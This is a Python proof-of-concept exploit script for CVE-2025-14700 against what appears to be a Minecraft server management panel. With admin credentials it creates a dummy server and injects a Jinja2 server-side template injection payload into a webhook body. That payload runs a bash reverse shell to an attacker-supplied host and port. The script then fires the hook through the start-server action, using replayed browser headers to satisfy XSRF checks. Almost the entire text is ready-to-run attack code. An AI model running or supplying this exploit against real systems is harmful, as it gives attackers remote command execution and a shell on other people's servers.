#!/usr/bin/env python3 # -*- coding: utf-8 -*- import warnings from urllib3.exceptions import InsecureRequestWarning warnings.simplefilter('ignore', InsecureRequestWarning) import time import requests import argparse import json # Reverse Shell Template REVSHELL_TEMPLATE = "bash -c 'bash -i >/dev/tcp/%s/%d 0<&1 2>&1'" def print_debug_info(res: requests.Response): """Prints request and response details in a Burp Suite-like format.""" print("\n" + "=" * 80) print(f"[{res.request.method}] {res.request.url} -> HTTP {res.status_code}") print("-" * 20 + " [KEY HEADERS VALIDATION] " + "-" * 20) # Track critical authentication headers for synchronization checks important_headers = ['token', 'X-XSRFToken', 'Authorization', 'Cookie', 'Referer', 'Content-Type'] for h in important_headers: if h in res.request.headers: print(f"{h}: {res.request.headers[h]}") print("-" * 20 + " [RESPONSE BODY] " + "-" * 25) try: # Attempt to pretty-print JSON response print(json.dumps(res.json(), indent=4, ensure_ascii=False)) except: # Truncate output if it's not JSON print(res.text[:200] if res.text else "(Empty Body)") print("=" * 80 + "\n") def api_login(session, url, login, password): """Step 1: Pre-flight and Login to retrieve dual tokens (JWT & XSRF).""" print("[*] STEP 1: Visiting login page to retrieve initial _xsrf cookie...") session.get(f"{url}/login", verify=False) xsrf = session.cookies.get("_xsrf", "") print(f"[*] STEP 2: Executing authentication (XSRF: {xsrf[:15]}...)") endpoint = f"{url}/api/v2/auth/login/" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/json", "X-XSRFToken": xsrf, "Referer": f"{url}/login?next=%2Fpanel%2Fdashboard", "Origin": url } data = {"username": login, "password": password} res = session.post(endpoint, json=data, headers=headers, verify=False) print_debug_info(res) if res.status_code == 200 and res.json().get("status") == "ok": return res.json().get("data").get("token") exit("[FATAL] Login failed. Please check credentials or target connectivity.") def create_server(session, url, jwt_token): """Step 2: Use API to create a dummy server for exploit triggering.""" print("[*] STEP 3: Creating exploit dummy server...") endpoint = f"{url}/api/v2/servers" xsrf = session.cookies.get("_xsrf", "") headers = { "Authorization": f"Bearer {jwt_token}", "X-XSRFToken": xsrf, "Referer": f"{url}/panel/dashboard" } data = { "name": "CVE_2025_14700_Exploit_Automation", "monitoring_type": "minecraft_java", "minecraft_java_monitoring_data": {"host": "127.0.0.1", "port": 25565}, "create_type": "minecraft_java", "minecraft_java_create_data": { "create_type": "download_jar", "download_jar_create_data": { "category": "mc_java_servers", "type": "paper", "version": "1.18.2", "mem_min": 1, "mem_max": 2, "server_properties_port": 25565 } } } res = session.post(endpoint, json=data, headers=headers, verify=False) print_debug_info(res) return res.json().get("data").get("new_server_id") def create_hook(session, url, server_id, lhost, lport, jwt_token): """Step 3: Inject malicious SSTI payload into the Webhook configuration.""" print("[*] STEP 4: Injecting SSTI Reverse Shell payload...") endpoint = f"{url}/api/v2/servers/{server_id}/webhook" xsrf = session.cookies.get("_xsrf", "") revshell_cmd = REVSHELL_TEMPLATE % (lhost, lport) # Jinja2 SSTI payload accessing os.system via cycler init globals payload = f"{{{{ self._TemplateReference__context.cycler.__init__.__globals__.os.system(\"{revshell_cmd}\") }}}}" headers = { "Authorization": f"Bearer {jwt_token}", "X-XSRFToken": xsrf, "Referer": f"{url}/panel/dashboard" } data = { "webhook_type": "Discord", "name": "Exploit_Trigger_Hook", "url": "https://localhost:8443/", "bot_name": "Crafty Bot", "trigger": ["start_server"], # Bind exploit to server start action "body": payload, "color": "#c646000", "enabled": True } res = session.post(endpoint, json=data, headers=headers, verify=False) print_debug_info(res) def trigger_exploit(session, url, server_id, jwt_token): """Step 4: 1:1 Browser emulation to trigger the backend task runner.""" print("\n[*] STEP 5: Executing protocol-level trigger emulation (Critical Phase)...") # Retrieve the latest XSRF token to bypass Tornado's XSFR protection xsrf = session.cookies.get("_xsrf", "") # Construct headers to precisely match the successful manual browser capture trigger_headers = { "Host": url.split("//")[-1].replace("/", ""), "Connection": "keep-alive", "sec-ch-ua-platform": '"Windows"', "Accept-Language": "en-US,en;q=0.9", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", # Critical: The custom 'token' header must be the _xsrf value, NOT the JWT "token": xsrf, "X-XSRFToken": xsrf, "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "Origin": url, "Referer": f"{url}/panel/dashboard", "Accept-Encoding": "gzip, deflate, br" } # Explicitly sync JWT in session cookies session.cookies.set("token", jwt_token) # 1. Trigger Start Server Action # Note: data=b"" ensures Content-Length is 0 and no default Content-Type is added start_url = f"{url}/api/v2/servers/{server_id}/action/start_server" print(f"[*] Sending start_server action request...") res = session.post(start_url, headers=trigger_headers, data=b"", verify=False) print_debug_info(res) time.sleep(2) # 2. Trigger EULA Action (Required for many Minecraft cores to fully initialize) eula_url = f"{url}/api/v2/servers/{server_id}/action/eula" print(f"[*] Sending EULA confirmation action request...") session.post(eula_url, headers=trigger_headers, data=b"", verify=False) print("\n[+] POC Execution completed. Check your nc listener (LHOST/LPORT).") def main(): parser = argparse.ArgumentParser(description='Exploit POC for CVE-2025-14700') parser.add_argument('--url', '-u', required=True, help='Target base URL (e.g., https://10.67.3.77:8443)') parser.add_argument('--login', '-l', required=True, help='Admin username') parser.add_argument('--password', '-p', required=True, help='Admin password') parser.add_argument('--lhost', '-lh', required=True, help='Local listener IP') parser.add_argument('--lport', '-lp', type=int, required=True, help='Local listener port') args = parser.parse_args() # Use requests.Session for automatic cookie lifecycle management session = requests.Session() # Execute the exploit chain jwt = api_login(session, args.url, args.login, args.password) server_id = create_server(session, args.url, jwt) create_hook(session, args.url, server_id, args.lhost, args.lport, jwt) trigger_exploit(session, args.url, server_id, jwt) if __name__ == "__main__": main()